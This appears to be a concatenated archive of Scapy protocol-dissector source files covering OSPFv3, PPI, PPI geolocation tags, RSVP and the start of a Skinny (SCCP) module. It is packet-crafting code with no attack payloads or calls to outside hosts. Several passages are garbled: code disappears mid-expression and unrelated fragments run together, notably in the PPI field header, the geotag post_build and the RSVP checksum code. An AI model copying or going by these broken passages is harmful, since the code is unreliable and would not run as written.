ackLSA.seq): return 1 return 0 #------------------------------------------------------------------------------ # OSPFv3 #------------------------------------------------------------------------------ # TODO: Add length_from / adjust functionality to IP6Field and remove this class class OspfIP6Field(StrField, IP6Field): """ Special IP6Field for prefix fields in OSPFv3 LSAs """ def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt, length = length: length def any2i(self, pkt, x): return IP6Field.any2i(self, pkt, x) def i2repr(self, pkt, x): return IP6Field.i2repr(self, pkt, x) def h2i(self, pkt, x): return IP6Field.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_pton(socket.AF_INET6, x) l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return x[:l] def m2i(self, pkt, x): l = self.length_from(pkt) prefixlen = self.prefixlen_to_bytelen(l) if l > 128: warning("OspfIP6Field: Prefix length is > 128. Dissection of this packet will fail") else: pad = "\x00" * (16 - prefixlen) x += pad return inet_ntop(socket.AF_INET6, x) def prefixlen_to_bytelen(self, l): if l <= 32: return 4 elif l <= 64: return 8 elif l <= 96: return 12 else: return 16 def i2len(self, pkt, x): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return l def getfield(self, pkt, s): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return s[l:], self.m2i(pkt, s[:l]) class OSPFv3_Hdr(Packet): name = "OSPFv3 Header" fields_desc = [ByteField("version", 3), ByteEnumField("type", 1, _OSPF_types), ShortField("len", None), IPField("src", "1.1.1.1"), IPField("area", "0.0.0.0"), XShortField("chksum", None), ByteField("instance", 0), ByteField("reserved", 0)] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:2] + struct.pack("!H", l) + p[4:] if self.chksum is None: chksum = in6_chksum(89, self.underlayer, p) p = p[:12] + chr(chksum >> 8) + chr(chksum & 0xff) + p[14:] return p class OSPFv3OptionsField(FlagsField): def __init__(self, name="options", default=0, size=24, names=["V6", "E", "MC", "N", "R", "DC", "AF", "L", "I", "F"]): FlagsField.__init__(self, name, default, size, names) class OSPFv3_Hello(Packet): name = "OSPFv3 Hello" fields_desc = [IntField("intid", 0), ByteField("prio", 1), OSPFv3OptionsField(), ShortField("hellointerval", 10), ShortField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 36))] _OSPFv3_LStypes = {0x2001: "router", 0x2002: "network", 0x2003: "interAreaPrefix", 0x2004: "interAreaRouter", 0x4005: "asExternal", 0x2007: "type7", 0x0008: "link", 0x2009: "intraAreaPrefix"} _OSPFv3_LSclasses = {0x2001: "OSPFv3_Router_LSA", 0x2002: "OSPFv3_Network_LSA", 0x2003: "OSPFv3_Inter_Area_Prefix_LSA", 0x2004: "OSPFv3_Inter_Area_Router_LSA", 0x4005: "OSPFv3_AS_External_LSA", 0x2007: "OSPFv3_Type_7_LSA", 0x0008: "OSPFv3_Link_LSA", 0x2009: "OSPFv3_Intra_Area_Prefix_LSA"} class OSPFv3_LSA_Hdr(Packet): name = "OSPFv3 LSA Header" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) _OSPFv3_Router_LSA_types = {1: "p2p", 2: "transit", 3: "reserved", 4: "virtual"} class OSPFv3_Link(Packet): name = "OSPFv3 Link" fields_desc = [ByteEnumField("type", 1, _OSPFv3_Router_LSA_types), ByteField("reserved", 0), ShortField("metric", 10), IntField("intid", 0), IntField("neighintid", 0), IPField("neighbor", "2.2.2.2")] def extract_padding(self, s): return "", s class OSPFv3_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W"]), OSPFv3OptionsField(), PacketListField("linklist", [], OSPFv3_Link, length_from=lambda pkt:pkt.len - 24)] class OSPFv3_Network_LSA(OSPF_BaseLSA): name = "OSPFv3 Network LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2002, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), OSPFv3OptionsField(), FieldListField("routerlist", [], IPField("", "0.0.0.1"), length_from=lambda pkt: pkt.len - 24)] class OSPFv3PrefixOptionsField(FlagsField): def __init__(self, name="prefixoptions", default=0, size=8, names=["NU", "LA", "MC", "P"]): FlagsField.__init__(self, name, default, size, names) class OSPFv3_Inter_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2003, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), X3BytesField("metric", 10), ByteField("prefixlen", 64), OSPFv3PrefixOptionsField(), ShortField("reserved2", 0), OspfIP6Field("prefix", "2001:db8:0:42::", length_from=lambda pkt: pkt.prefixlen)] class OSPFv3_Inter_Area_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2004, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), X3BytesField("metric", 1), IPField("router", "2.2.2.2")] class OSPFv3_AS_External_LSA(OSPF_BaseLSA): name = "OSPFv3 AS External LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x4005, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["T", "F", "E"]), X3BytesField("metric", 20), ByteField("prefixlen", 64), OSPFv3PrefixOptionsField(), ShortEnumField("reflstype", 0, _OSPFv3_LStypes), OspfIP6Field("prefix", "2001:db8:0:42::", length_from=lambda pkt: pkt.prefixlen), ConditionalField(IP6Field("fwaddr", "::"), lambda pkt: pkt.flags & 0x02 == 0x02), ConditionalField(IntField("tag", 0), lambda pkt: pkt.flags & 0x01 == 0x01), ConditionalField(IPField("reflsid", 0), lambda pkt: pkt.reflstype != 0)] class OSPFv3_Type_7_LSA(OSPFv3_AS_External_LSA): name = "OSPFv3 Type 7 LSA" type = 0x2007 class OSPFv3_Prefix_Item(Packet): name = "OSPFv3 Link Prefix Item" fields_desc = [ByteField("prefixlen", 64), OSPFv3PrefixOptionsField(), ShortField("metric", 10), OspfIP6Field("prefix", "2001:db8:0:42::", length_from=lambda pkt: pkt.prefixlen)] def extract_padding(self, s): return "", s class OSPFv3_Link_LSA(OSPF_BaseLSA): name = "OSPFv3 Link LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x0008, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("prio", 1), OSPFv3OptionsField(), IP6Field("lladdr", "fe80::"), IntField("prefixes", 0), PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from = lambda pkt: pkt.prefixes)] class OSPFv3_Intra_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Intra Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2009, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ShortField("prefixes", 0), ShortEnumField("reflstype", 0, _OSPFv3_LStypes), IPField("reflsid", "0.0.0.0"), IPField("refadrouter", "0.0.0.0"), PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from = lambda pkt: pkt.prefixes)] class OSPFv3_DBDesc(Packet): name = "OSPFv3 Database Description" fields_desc = [ByteField("reserved", 0), OSPFv3OptionsField(), ShortField("mtu", 1500), ByteField("reserved2", 0), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R"]), IntField("ddseq", 1), PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 28)] class OSPFv3_LSReq_Item(Packet): name = "OSPFv3 Link State Request (item)" fields_desc = [ShortField("reserved", 0), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPFv3_LSReq(Packet): name = "OSPFv3 Link State Request (container)" fields_desc = [PacketListField("requests", None, OSPFv3_LSReq_Item, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 16)] class OSPFv3_LSUpd(Packet): name = "OSPFv3 Link State Update" fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), PacketListField("lsalist", [], _OSPFv3_LSAGuessPayloadClass, count_from = lambda pkt:pkt.lsacount, length_from = lambda pkt:pkt.underlayer.len - 16)] class OSPFv3_LSAck(Packet): name = "OSPFv3 Link State Acknowledgement" fields_desc = [PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from = lambda pkt:None, length_from = lambda pkt:pkt.underlayer.len - 16)] bind_layers(IP, OSPF_Hdr, proto=89) bind_layers(OSPF_Hdr, OSPF_Hello, type=1) bind_layers(OSPF_Hdr, OSPF_DBDesc, type=2) bind_layers(OSPF_Hdr, OSPF_LSReq, type=3) bind_layers(OSPF_Hdr, OSPF_LSUpd, type=4) bind_layers(OSPF_Hdr, OSPF_LSAck, type=5) bind_layers(IPv6, OSPFv3_Hdr, nh=89) bind_layers(OSPFv3_Hdr, OSPFv3_Hello, type=1) bind_layers(OSPFv3_Hdr, OSPFv3_DBDesc, type=2) bind_layers(OSPFv3_Hdr, OSPFv3_LSReq, type=3) bind_layers(OSPFv3_Hdr, OSPFv3_LSUpd, type=4) bind_layers(OSPFv3_Hdr, OSPFv3_LSAck, type=5) if __name__ == "__main__": interact(mydict=globals(), mybanner="OSPF extension %s" % EXT_VERSION) scapy-0.23/scapy/contrib/ppi.py000066400000000000000000000060521320561231000164720ustar00rootroot00000000000000## This file is (hopefully) part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## ## This program is published under a GPLv2 license # scapy.contrib.description = PPI # scapy.contrib.status = loads """ PPI (Per-Packet Information). """ import logging,struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import Ether from scapy.layers.dot11 import Dot11 # Dictionary to map the TLV type to the class name of a sub-packet _ppi_types = {} def addPPIType(id, value): _ppi_types[id] = value def getPPIType(id, default="default"): return _ppi_types.get(id, _ppi_types.get(default, None)) # Default PPI Field Header class PPIGenericFldHdr(Packet): name = "PPI Field Header" fields_desc = [ LEShortField('pfh_type', 0), FieldLenField('pfh_length', None, length_of="value", fmt='= 4: t,pfh_len = struct.unpack(" pfh_len): out.payload.payload = conf.padding_layer(p[pfh_len:]) elif (len(p) > pfh_len): out.payload = conf.padding_layer(p[pfh_len:]) else: out = conf.raw_layer(p, **kargs) return out class PPI(Packet): name = "PPI Packet Header" fields_desc = [ ByteField('pph_version', 0), ByteField('pph_flags', 0), FieldLenField('pph_len', None, length_of="PPIFieldHeaders", fmt=" ## This program is published under a GPLv2 license # scapy.contrib.description = PPI CACE # scapy.contrib.status = loads """ CACE PPI types """ import logging,struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import Ether from scapy.layers.dot11 import Dot11 from scapy.contrib.ppi import * PPI_DOT11COMMON = 2 PPI_DOT11NMAC = 3 PPI_DOT11NMACPHY = 4 PPI_SPECTRUMMAP = 5 PPI_PROCESSINFO = 6 PPI_CAPTUREINFO = 7 PPI_AGGREGATION = 8 PPI_DOT3 = 9 # PPI 802.11 Common Field Header Fields class dBmByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") def i2repr(self, pkt, val): if (val != None): val = "%4d dBm" % val return val class PPITSFTField(LELongField): def i2h(self, pkt, val): flags = 0 if (pkt): flags = pkt.getfieldval("Pkt_Flags") if not flags: flags = 0 if (flags & 0x02): scale = 1e-3 else: scale = 1e-6 tout = scale * float(val) return tout def h2i(self, pkt, val): scale = 1e6 if pkt: flags = pkt.getfieldval("Pkt_Flags") if flags: if (flags & 0x02): scale = 1e3 tout = int((scale * val) + 0.5) return tout _PPIDot11CommonChFlags = ['','','','','Turbo','CCK','OFDM','2GHz','5GHz', 'PassiveOnly','Dynamic CCK-OFDM','GSFK'] _PPIDot11CommonPktFlags = ['FCS','TSFT_ms','FCS_Invalid','PHY_Error'] # PPI 802.11 Common Field Header class Dot11Common(Packet): name = "PPI 802.11-Common" fields_desc = [ LEShortField('pfh_type',PPI_DOT11COMMON), LEShortField('pfh_length', 20), PPITSFTField('TSF_Timer', 0), FlagsField('Pkt_Flags',0, -16, _PPIDot11CommonPktFlags), LEShortField('Rate',0), LEShortField('Ch_Freq',0), FlagsField('Ch_Flags', 0, -16, _PPIDot11CommonChFlags), ByteField('FHSS_Hop',0), ByteField('FHSS_Pat',0), dBmByteField('Antsignal',-128), dBmByteField('Antnoise',-128)] def extract_padding(self, p): return "",p #Hopefully other CACE defined types will be added here. #Add the dot11common layer to the PPI array addPPIType(PPI_DOT11COMMON, Dot11Common) scapy-0.23/scapy/contrib/ppi_geotag.py000066400000000000000000000505641320561231000200270ustar00rootroot00000000000000## This file is (hopefully) part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## ## This program is published under a GPLv2 license # scapy.contrib.description = PPI GEOLOCATION # scapy.contrib.status = loads """ PPI-GEOLOCATION tags """ import struct from scapy.packet import * from scapy.fields import * from scapy.contrib.ppi import PPIGenericFldHdr,addPPIType CURR_GEOTAG_VER = 2 #Major revision of specification PPI_GPS = 30002 PPI_VECTOR = 30003 PPI_SENSOR = 30004 PPI_ANTENNA = 30005 #The FixedX_Y Fields are used to store fixed point numbers in a variety of fields in the GEOLOCATION-TAGS specification class Fixed3_6Field(LEIntField): def i2h(self, pkt, x): if x is not None: if (x < 0): warning("Fixed3_6: Internal value too negative: %d" % x) x = 0 elif (x > 999999999): warning("Fixed3_6: Internal value too positive: %d" % x) x = 999999999 x = x * 1e-6 return x def h2i(self, pkt, x): if x is not None: if (x <= -0.5e-6): warning("Fixed3_6: Input value too negative: %.7f" % x) x = 0 elif (x >= 999.9999995): warning("Fixed3_6: Input value too positive: %.7f" % x) x = 999.999999 x = int(round(x * 1e6)) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: #Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%3.6f"%(y) class Fixed3_7Field(LEIntField): def i2h(self, pkt, x): if x is not None: if (x < 0): warning("Fixed3_7: Internal value too negative: %d" % x) x = 0 elif (x > 3600000000): warning("Fixed3_7: Internal value too positive: %d" % x) x = 3600000000 x = (x - 1800000000) * 1e-7 return x def h2i(self, pkt, x): if x is not None: if (x <= -180.00000005): warning("Fixed3_7: Input value too negative: %.8f" % x) x = -180.0 elif (x >= 180.00000005): warning("Fixed3_7: Input value too positive: %.8f" % x) x = 180.0 x = int(round((x + 180.0) * 1e7)) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: #Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%3.7f"%(y) class Fixed6_4Field(LEIntField): def i2h(self, pkt, x): if x is not None: if (x < 0): warning("Fixed6_4: Internal value too negative: %d" % x) x = 0 elif (x > 3600000000): warning("Fixed6_4: Internal value too positive: %d" % x) x = 3600000000 x = (x - 1800000000) * 1e-4 return x def h2i(self, pkt, x): if x is not None: if (x <= -180000.00005): warning("Fixed6_4: Input value too negative: %.5f" % x) x = -180000.0 elif (x >= 180000.00005): warning("Fixed6_4: Input value too positive: %.5f" % x) x = 180000.0 x = int(round((x + 180000.0) * 1e4)) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: #Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%6.4f"%(y) #The GPS timestamps fractional time counter is stored in a 32-bit unsigned ns counter. #The ept field is as well, class NSCounter_Field(LEIntField): def i2h(self, pkt, x): #converts nano-seconds to seconds for output if x is not None: if (x < 0): warning("NSCounter_Field: Internal value too negative: %d" % x) x = 0 elif (x >= 2**32): warning("NSCounter_Field: Internal value too positive: %d" % x) x = 2**32-1 x = (x / 1e9) return x def h2i(self, pkt, x): #converts input in seconds into nano-seconds for storage if x is not None: if (x < 0): warning("NSCounter_Field: Input value too negative: %.10f" % x) x = 0 elif (x >= (2**32) / 1e9): warning("NSCounter_Field: Input value too positive: %.10f" % x) x = (2**32-1) / 1e9 x = int(round((x * 1e9))) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%1.9f"%(y) class UTCTimeField(IntField): def __init__(self, name, default, epoch=time.gmtime(0), strf="%a, %d %b %Y %H:%M:%S +0000"): IntField.__init__(self, name, default) self.epoch = epoch self.delta = time.mktime(epoch) - time.mktime(time.gmtime(0)) self.strf = strf def i2repr(self, pkt, x): if x is None: x = 0 x = int(x) + self.delta t = time.strftime(self.strf, time.gmtime(x)) return "%s (%d)" % (t, x) class LETimeField(UTCTimeField,LEIntField): def __init__(self, name, default, epoch=time.gmtime(0), strf="%a, %d %b %Y %H:%M:%S +0000"): LEIntField.__init__(self, name, default) self.epoch = epoch self.delta = time.mktime(epoch) - time.mktime(time.gmtime(0)) self.strf = strf class SignedByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") def randval(self): return RandSByte() class XLEShortField(LEShortField,XShortField): def i2repr(self, pkt, x): return XShortField.i2repr(self, pkt, x) class XLEIntField(LEIntField,XIntField): def i2repr(self, pkt, x): return XIntField.i2repr(self, pkt, x) class GPSTime_Field(LETimeField): def __init__(self, name, default): return LETimeField.__init__(self, name, default, strf="%a, %d %b %Y %H:%M:%S UTC") class VectorFlags_Field(XLEIntField): """Represents te VectorFlags field. Handles the RelativeTo:sub-field""" _fwdstr = "DefinesForward" _resmask = 0xfffffff8 _relmask = 0x6 _relnames = ["RelativeToForward", "RelativeToEarth", "RelativeToCurrent", "RelativeToReserved"] _relvals = [0x00, 0x02, 0x04, 0x06] def i2repr(self, pkt, x): if x is None: return str(x) r = [] if (x & 0x1): r.append(self._fwdstr) i = (x & self._relmask) >> 1 r.append(self._relnames[i]) i = x & self._resmask if (i): r.append("ReservedBits:%08X" % i) sout = "+".join(r) return sout def any2i(self, pkt, x): if type(x) is str: r = x.split("+") y = 0 for value in r: if (value == self._fwdstr): y |= 0x1 elif (value in self._relnames): i = self._relnames.index(value) y &= (~self._relmask) y |= self._relvals[i] else: #logging.warning("Unknown VectorFlags Argument: %s" % value) pass else: y = x #print "any2i: %s --> %s" % (str(x), str(y)) return y class HCSIFlagsField(FlagsField): """ A FlagsField where each bit/flag turns a conditional field on or off. If the value is None when building a packet, i2m() will check the value of every field in self.names. If the field's value is not None, the corresponding flag will be set. """ def i2m(self, pkt, val): if val is None: val = 0 if (pkt): for i in range(len(self.names)): name = self.names[i][0] value = pkt.getfieldval(name) if value is not None: val |= 1 << i return val class HCSINullField(StrFixedLenField): def __init__(self, name, default): return StrFixedLenField.__init__(self, name, default, length=0) class HCSIDescField(StrFixedLenField): def __init__(self, name, default): return StrFixedLenField.__init__(self, name, default, length=32) class HCSIAppField(StrFixedLenField): def __init__(self, name, default): return StrFixedLenField.__init__(self, name, default, length=60) def _FlagsList(myfields): flags = [] for i in range(32): flags.append("Reserved%02d" % i) for i in myfields.keys(): flags[i] = myfields[i] return flags # Define all geolocation-tag flags lists _hcsi_gps_flags = _FlagsList({0:"No Fix Available", 1:"GPS", 2:"Differential GPS", 3:"Pulse Per Second", 4:"Real Time Kinematic", 5:"Float Real Time Kinematic", 6:"Estimated (Dead Reckoning)", 7:"Manual Input", 8:"Simulation"}) #_hcsi_vector_flags = _FlagsList({0:"ForwardFrame", 1:"RotationsAbsoluteXYZ", 5:"OffsetFromGPS_XYZ"}) #This has been replaced with the VectorFlags_Field class, in order to handle the RelativeTo:subfield _hcsi_vector_char_flags = _FlagsList({0:"Antenna", 1:"Direction of Travel", 2:"Front of Vehicle", 3:"Angle of Arrival", 4:"Transmitter Position", 8:"GPS Derived", 9:"INS Derived", 10:"Compass Derived", 11:"Acclerometer Derived", 12:"Human Derived"}) _hcsi_antenna_flags = _FlagsList({ 1:"Horizontal Polarization", 2:"Vertical Polarization", 3:"Circular Polarization Left", 4:"Circular Polarization Right", 16:"Electronically Steerable", 17:"Mechanically Steerable"}) """ HCSI PPI Fields are similar to RadioTap. A mask field called "present" specifies if each field is present. All other fields are conditional. When dissecting a packet, each field is present if "present" has the corresponding bit set. When building a packet, if "present" is None, the mask is set to include every field that does not have a value of None. Otherwise, if the mask field is not None, only the fields specified by "present" will be added to the packet. To build each Packet type, build a list of the fields normally, excluding the present bitmask field. The code will then construct conditional versions of each field and add the present field. See GPS_Fields as an example. """ # Conditional test for all HCSI Fields def _HCSITest(pkt, ibit, name): if pkt.present is None: return (pkt.getfieldval(name) is not None) return pkt.present & ibit # Wrap optional fields in ConditionalField, add HCSIFlagsField def _HCSIBuildFields(fields): names = [f.name for f in fields] cond_fields = [ HCSIFlagsField('present', None, -len(names), names)] for i in range(len(names)): ibit = 1 << i seval = "lambda pkt:_HCSITest(pkt,%s,'%s')" % (ibit, names[i]) test = eval(seval) cond_fields.append(ConditionalField(fields[i], test)) return cond_fields class HCSIPacket(Packet): name = "PPI HCSI" fields_desc = [ LEShortField('pfh_type', None), LEShortField('pfh_length', None), ByteField('geotag_ver', CURR_GEOTAG_VER), ByteField('geotag_pad', 0), LEShortField('geotag_len', None)] def post_build(self, p, pay): if self.pfh_length is None: l = len(p) - 4 sl = struct.pack('>8)&0xff)+chr(l&0xff)+p[8:] if self.chksum is None: ck = checksum(p) p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] return p rsvptypes = { 0x01 : "Session", 0x03 : "HOP", 0x04 : "INTEGRITY", 0x05 : "TIME_VALUES", 0x06 : "ERROR_SPEC", 0x07 : "SCOPE", 0x08 : "STYLE", 0x09 : "FLOWSPEC", 0x0A : "FILTER_SPEC", 0x0B : "SENDER_TEMPLATE", 0x0C : "SENDER_TSPEC", 0x0D : "ADSPEC", 0x0E : "POLICY_DATA", 0x0F : "RESV_CONFIRM", 0x10 : "RSVP_LABEL", 0x11 : "HOP_COUNT", 0x12 : "STRICT_SOURCE_ROUTE", 0x13 : "LABEL_REQUEST", 0x14 : "EXPLICIT_ROUTE", 0x15 : "ROUTE_RECORD", 0x16 : "HELLO", 0x17 : "MESSAGE_ID", 0x18 : "MESSAGE_ID_ACK", 0x19 : "MESSAGE_ID_LIST", 0x1E : "DIAGNOSTIC", 0x1F : "ROUTE", 0x20 : "DIAG_RESPONSE", 0x21 : "DIAG_SELECT", 0x22 : "RECOVERY_LABEL", 0x23 : "UPSTREAM_LABEL", 0x24 : "LABEL_SET", 0x25 : "PROTECTION", 0x26 : "PRIMARY PATH ROUTE", 0x2A : "DSBM IP ADDRESS", 0x2B : "SBM_PRIORITY", 0x2C : "DSBM TIMER INTERVALS", 0x2D : "SBM_INFO", 0x32 : "S2L_SUB_LSP", 0x3F : "DETOUR", 0x40 : "CHALLENGE", 0x41 : "DIFF-SERV", 0x42 : "CLASSTYPE", 0x43 : "LSP_REQUIRED_ATTRIBUTES", 0x80 : "NODE_CHAR", 0x81 : "SUGGESTED_LABEL", 0x82 : "ACCEPTABLE_LABEL_SET", 0x83 : "RESTART_CA", 0x84 : "SESSION-OF-INTEREST", 0x85 : "LINK_CAPABILITY", 0x86 : "Capability Object", 0xA1 : "RSVP_HOP_L2", 0xA2 : "LAN_NHOP_L2", 0xA3 : "LAN_NHOP_L3", 0xA4 : "LAN_LOOPBACK", 0xA5 : "TCLASS", 0xC0 : "TUNNEL", 0xC1 : "LSP_TUNNEL_INTERFACE_ID", 0xC2 : "USER_ERROR_SPEC", 0xC3 : "NOTIFY_REQUEST", 0xC4 : "ADMIN-STATUS", 0xC5 : "LSP_ATTRIBUTES", 0xC6 : "ALARM_SPEC", 0xC7 : "ASSOCIATION", 0xC8 : "SECONDARY_EXPLICIT_ROUTE", 0xC9 : "SECONDARY_RECORD_ROUTE", 0xCD : "FAST_REROUTE", 0xCF : "SESSION_ATTRIBUTE", 0xE1 : "DCLASS", 0xE2 : "PACKETCABLE EXTENSIONS", 0xE3 : "ATM_SERVICECLASS", 0xE4 : "CALL_OPS (ASON)", 0xE5 : "GENERALIZED_UNI", 0xE6 : "CALL_ID", 0xE7 : "3GPP2_Object", 0xE8 : "EXCLUDE_ROUTE" } class RSVP_Object(Packet): name = "RSVP_Object" fields_desc = [ ShortField("Length",4), ByteEnumField("Class",0x01, rsvptypes), ByteField("C-Type",1)] def guess_payload_class(self, payload): if self.Class == 0x03: return RSVP_HOP elif self.Class == 0x05: return RSVP_Time elif self.Class == 0x0c: return RSVP_SenderTSPEC elif self.Class == 0x13: return RSVP_LabelReq elif self.Class == 0xCF: return RSVP_SessionAttrb else: return RSVP_Data class RSVP_Data(Packet): name = "Data" fields_desc = [StrLenField("Data","",length_from= lambda pkt:pkt.underlayer.Length - 4)] def default_payload_class(self, payload): return RSVP_Object class RSVP_HOP(Packet): name = "HOP" fields_desc = [ IPField("neighbor","0.0.0.0"), BitField("inface",1,32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_Time(Packet): name = "Time Val" fields_desc = [ BitField("refresh",1,32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SenderTSPEC(Packet): name = "Sender_TSPEC" fields_desc = [ ByteField("Msg_Format",0), ByteField("reserve",0), ShortField("Data_Length",4), ByteField("Srv_hdr",1), ByteField("reserve2",0), ShortField("Srv_Length",4), StrLenField("Tokens","",length_from= lambda pkt:pkt.underlayer.Length - 12) ] def default_payload_class(self, payload): return RSVP_Object class RSVP_LabelReq(Packet): name = "Lable Req" fields_desc = [ ShortField("reserve",1), ShortField("L3PID",1)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SessionAttrb(Packet): name = "Session_Attribute" fields_desc = [ ByteField("Setup_priority",1), ByteField("Hold_priority",1), ByteField("flags",1), ByteField("Name_length",1), StrLenField("Name","",length_from= lambda pkt:pkt.underlayer.Length - 8), ] def default_payload_class(self, payload): return RSVP_Object bind_layers( IP, RSVP, { "proto" : 46} ) bind_layers( RSVP, RSVP_Object, {}) scapy-0.23/scapy/contrib/skinny.py000066400000000000000000000436571320561231000172310ustar00rootroot00000000000000#! /usr/bin/env python # scapy.contrib.description = Skinny Call Control Protocol (SCCP) # scapy.contrib.status = loads ############################################################################# ## ## ## scapy-skinny.py --- Skinny Call Control Protocol (SCCP) extension ## ## ## ## Copyright (C) 2006 Nicolas Bareil ## ## EADS/CRC security team ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation; version 2. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# from scapy.all import * import builtins ##################################################################### # Helpers and constants ##################################################################### skinny_messages_cls = { # Station -> Callmanager 0x0000: "SkinnyMessageKeepAlive", 0x0001: "SkinnyMessageRegister", 0x0002: "SkinnyMessageIpPort", 0x0003: "SkinnyMessageKeypadButton", 0x0004: "SkinnyMessageEnblocCall", 0x0005: "SkinnyMessageStimulus", 0x0006: "SkinnyMessageOffHook", 0x0007: "SkinnyMessageOnHook", 0x0008: "SkinnyMessageHookFlash", 0x0009: "SkinnyMessageForwardStatReq", 0x000A: "SkinnyMessageSpeedDialStatReq", 0x000B: "SkinnyMessageLineStatReq", 0x000C: "SkinnyMessageConfigStatReq", 0x000D: "SkinnyMessageTimeDateReq", 0x000E: "SkinnyMessageButtonTemplateReq", 0x000F: "SkinnyMessageVersionReq", 0x0010: "SkinnyMessageCapabilitiesRes", 0x0011: "SkinnyMessageMediaPortList", 0x0012: "SkinnyMessageServerReq", 0x0020: "SkinnyMessageAlarm", 0x0021: "SkinnyMessageMulticastMediaReceptionAck", 0x0022: "SkinnyMessageOpenReceiveChannelAck", 0x0023: "SkinnyMessageConnectionStatisticsRes", 0x0024: "SkinnyMessageOffHookWithCgpn", 0x0025: "SkinnyMessageSoftKeySetReq", 0x0026: "SkinnyMessageSoftKeyEvent", 0x0027: "SkinnyMessageUnregister", 0x0028: "SkinnyMessageSoftKeyTemplateReq", 0x0029: "SkinnyMessageRegisterTokenReq", 0x002A: "SkinnyMessageMediaTransmissionFailure", 0x002B: "SkinnyMessageHeadsetStatus", 0x002C: 